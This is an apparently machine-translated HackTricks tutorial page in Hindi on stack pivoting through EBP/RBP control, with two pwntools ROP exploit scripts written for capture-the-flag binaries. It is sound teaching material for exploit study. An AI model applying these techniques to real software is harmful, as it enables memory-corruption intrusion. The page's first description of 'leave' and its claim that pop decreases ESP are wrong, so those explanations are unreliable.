Stack Pivoting - EBP2Ret - EBP chaining
Reading time: 9 minutes
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाएँ देखें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमारे Twitter 🐦 @hacktricks_live** का पालन करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।
Basic Information
यह तकनीक Base Pointer (EBP) को नियंत्रित करने की क्षमता का लाभ उठाती है ताकि EBP रजिस्टर और leave; ret
निर्देश अनुक्रम के सावधानीपूर्वक उपयोग के माध्यम से कई कार्यों के निष्पादन को श्रृंखला में जोड़ा जा सके।
याद दिलाने के लिए, leave
का मूल अर्थ है:
mov ebp, esp
pop ebp
ret
And as the EBP is in the stack before the EIP it's possible to control it controlling the stack.
EBP2Ret
यह तकनीक विशेष रूप से उपयोगी है जब आप EBP रजिस्टर को बदल सकते हैं लेकिन EIP रजिस्टर को सीधे बदलने का कोई तरीका नहीं है। यह कार्यों के समाप्त होने पर उनके व्यवहार का लाभ उठाती है।
यदि, fvuln
के निष्पादन के दौरान, आप स्टैक में एक फर्जी EBP इंजेक्ट करने में सफल होते हैं जो मेमोरी के उस क्षेत्र की ओर इशारा करता है जहाँ आपका शेलकोड का पता स्थित है (प्लस 4 बाइट्स pop
ऑपरेशन के लिए), तो आप अप्रत्यक्ष रूप से EIP को नियंत्रित कर सकते हैं। जैसे ही fvuln
लौटता है, ESP को इस तैयार स्थान पर सेट किया जाता है, और अगला pop
ऑपरेशन ESP को 4 से घटाता है, जिससे यह प्रभावी रूप से एक पते की ओर इशारा करता है जिसे हमलावर ने वहाँ स्टोर किया है।
ध्यान दें कि आपको 2 पते जानने की आवश्यकता है: वह जहाँ ESP जाने वाला है, जहाँ आपको उस पते को लिखने की आवश्यकता होगी जिस पर ESP इशारा करता है।
Exploit Construction
पहले आपको एक पता जानने की आवश्यकता है जहाँ आप मनमाने डेटा / पते लिख सकते हैं। ESP यहाँ इशारा करेगा और पहला ret
चलाएगा।
फिर, आपको उस पते के बारे में जानने की आवश्यकता है जिसका उपयोग ret
द्वारा मनमाना कोड निष्पादित करने के लिए किया जाएगा। आप उपयोग कर सकते हैं:
- एक मान्य ONE_GADGET पता।
system()
का पता उसके बाद 4 जंक बाइट्स और"/bin/sh"
का पता (x86 बिट्स)।- एक
jump esp;
गैजेट (ret2esp) का पता उसके बाद निष्पादित करने के लिए शेलकोड। - कुछ ROP श्रृंखला
याद रखें कि नियंत्रित मेमोरी के इन पते से पहले, वहाँ 4
बाइट्स होनी चाहिए क्योंकि pop
भाग leave
निर्देश का है। इन 4B का दुरुपयोग करना संभव होगा एक दूसरा फर्जी EBP सेट करने के लिए और निष्पादन को नियंत्रित करना जारी रखने के लिए।
Off-By-One Exploit
इस तकनीक का एक विशिष्ट रूप "Off-By-One Exploit" के रूप में जाना जाता है। इसका उपयोग तब किया जाता है जब आप केवल EBP के सबसे कम महत्वपूर्ण बाइट को संशोधित कर सकते हैं। ऐसे मामले में, मेमोरी स्थान जो ret
के साथ कूदने के लिए पता संग्रहीत करता है, उसे EBP के साथ पहले तीन बाइट्स साझा करने चाहिए, जिससे अधिक सीमित परिस्थितियों के साथ समान हेरफेर की अनुमति मिलती है।
आमतौर पर इसे 0x00 बाइट को संशोधित किया जाता है ताकि जितना संभव हो सके कूद सके।
इसके अलावा, स्टैक में एक RET स्लेड का उपयोग करना और असली ROP श्रृंखला को अंत में रखना सामान्य है ताकि यह अधिक संभावना हो कि नया ESP RET SLED के अंदर इशारा करे और अंतिम ROP श्रृंखला निष्पादित हो।
EBP Chaining
इसलिए, स्टैक के EBP
प्रविष्टि में एक नियंत्रित पता डालकर और EIP
में leave; ret
का पता डालकर, यह संभव है कि ESP
को स्टैक से नियंत्रित EBP
पते पर ले जाया जाए।
अब, ESP
नियंत्रित है जो एक इच्छित पते की ओर इशारा कर रहा है और निष्पादित करने के लिए अगला निर्देश RET
है। इसका दुरुपयोग करने के लिए, नियंत्रित ESP स्थान में यह रखा जा सकता है:
&(next fake EBP)
->leave
निर्देश सेpop ebp
के कारण नया EBP लोड करेंsystem()
->ret
द्वारा कॉल किया गया&(leave;ret)
-> सिस्टम समाप्त होने के बाद कॉल किया जाएगा, यह ESP को फर्जी EBP पर ले जाएगा और फिर से शुरू करेगा&("/bin/sh")
->system
के लिए पैरामीटर
बुनियादी रूप से इस तरह से कई फर्जी EBPs को जोड़ना संभव है ताकि कार्यक्रम के प्रवाह को नियंत्रित किया जा सके।
यह ret2lib की तरह है, लेकिन अधिक जटिल है जिसमें कोई स्पष्ट लाभ नहीं है लेकिन कुछ किनारे के मामलों में दिलचस्प हो सकता है।
इसके अलावा, यहाँ एक चुनौती का उदाहरण है जो इस तकनीक का उपयोग करता है एक स्टैक लीक के साथ एक विजेता फ़ंक्शन को कॉल करने के लिए। यह पृष्ठ से अंतिम पेलोड है:
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')
LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0, # rbp (could be the address of anoter fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)
payload = payload.ljust(96, b'A') # pad to 96 (just get to RBP)
payload += flat(
buffer, # Load leak address in RBP
LEAVE_RET # Use leave ro move RSP to the user ROP chain and ret to execute it
)
pause()
p.sendline(payload)
print(p.recvline())
EBP शायद उपयोग नहीं किया जाएगा
जैसा कि इस पोस्ट में समझाया गया है, यदि एक बाइनरी कुछ ऑप्टिमाइजेशन के साथ संकलित की गई है, तो EBP कभी भी ESP को नियंत्रित नहीं करता, इसलिए, EBP को नियंत्रित करके काम करने वाला कोई भी एक्सप्लॉइट मूल रूप से विफल हो जाएगा क्योंकि इसका कोई वास्तविक प्रभाव नहीं है।
यह इसलिए है क्योंकि प्रोलॉग और एपिलॉग में बदलाव होता है यदि बाइनरी ऑप्टिमाइज्ड है।
- ऑप्टिमाइज्ड नहीं:
push %ebp # save ebp
mov %esp,%ebp # set new ebp
sub $0x100,%esp # increase stack size
.
.
.
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return
- अनुकूलित:
push %ebx # save ebx
sub $0x100,%esp # increase stack size
.
.
.
add $0x10c,%esp # reduce stack size
pop %ebx # restore ebx
ret # return
अन्य तरीके RSP को नियंत्रित करने के लिए
pop rsp
गैजेट
इस पृष्ठ पर आप इस तकनीक का उपयोग करते हुए एक उदाहरण पा सकते हैं। इस चुनौती के लिए 2 विशिष्ट तर्कों के साथ एक फ़ंक्शन को कॉल करना आवश्यक था, और वहाँ एक pop rsp
गैजेट था और वहाँ स्टैक से लीक है:
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')
POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229 # pop RSI and R15
# The payload starts
payload = flat(
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
)
payload = payload.ljust(104, b'A') # pad to 104
# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer # rsp
)
pause()
p.sendline(payload)
print(p.recvline())
xchg <reg>, rsp gadget
pop <reg> <=== return pointer
<reg value>
xchg <reg>, rsp
jmp esp
यहाँ ret2esp तकनीक की जाँच करें:
References & Other Examples
- https://bananamafia.dev/post/binary-rop-stackpivot/
- https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting
- https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html
- 64 बिट, एक से बाहर शोषण एक rop श्रृंखला के साथ जो एक ret sled से शुरू होती है
- https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html
- 64 बिट, कोई relro, canary, nx और pie नहीं। प्रोग्राम स्टैक या पाई के लिए एक लीक प्रदान करता है और एक qword का WWW। पहले स्टैक लीक प्राप्त करें और पाई लीक प्राप्त करने के लिए WWW का उपयोग करें। फिर एक स्थायी लूप बनाने के लिए WWW का उपयोग करें जो
.fini_array
प्रविष्टियों का दुरुपयोग करता है +__libc_csu_fini
को कॉल करता है (more info here). इस "स्थायी" लेखन का दुरुपयोग करते हुए, यह .bss में एक ROP श्रृंखला लिखी जाती है और अंततः इसे RBP के साथ पिवटिंग करने के लिए कॉल किया जाता है।
ARM64
ARM64 में, कार्यों के प्रोलॉग और एपिलॉग स्टैक में SP रजिस्टर को स्टोर और पुनर्प्राप्त नहीं करते। इसके अलावा, RET
निर्देश SP द्वारा इंगित पते पर वापस नहीं लौटता, बल्कि x30
के अंदर के पते पर लौटता है।
इसलिए, डिफ़ॉल्ट रूप से, केवल एपिलॉग का दुरुपयोग करके आप SP रजिस्टर को नियंत्रित नहीं कर पाएंगे कुछ डेटा को स्टैक के अंदर ओवरराइट करके। और यदि आप SP को नियंत्रित करने में सफल होते हैं, तो भी आपको x30
रजिस्टर को नियंत्रित करने का एक तरीका चाहिए।
- प्रोलॉग
sub sp, sp, 16
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
mov x29, sp // FP points to frame record
- एपिलॉग
ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret
caution
ARM64 में स्टैक पिवटिंग के समान कुछ करने का तरीका होगा SP
को नियंत्रित करना (किसी रजिस्टर को नियंत्रित करके जिसका मान SP
को पास किया जाता है या क्योंकि किसी कारणवश SP
अपना पता स्टैक से ले रहा है और हमारे पास एक ओवरफ्लो है) और फिर एपिलॉग का दुरुपयोग करके x30
रजिस्टर को नियंत्रित SP
से लोड करना और RET
करना।
इसके अलावा, निम्नलिखित पृष्ठ पर आप ARM64 में Ret2esp का समकक्ष देख सकते हैं:
tip
AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)
HackTricks का समर्थन करें
- सदस्यता योजनाएँ देखें!
- हमारे 💬 Discord समूह या टेलीग्राम समूह में शामिल हों या हमारे Twitter 🐦 @hacktricks_live** का पालन करें।**
- हैकिंग ट्रिक्स साझा करें और HackTricks और HackTricks Cloud गिटहब रिपोजिटरी में PRs सबमिट करें।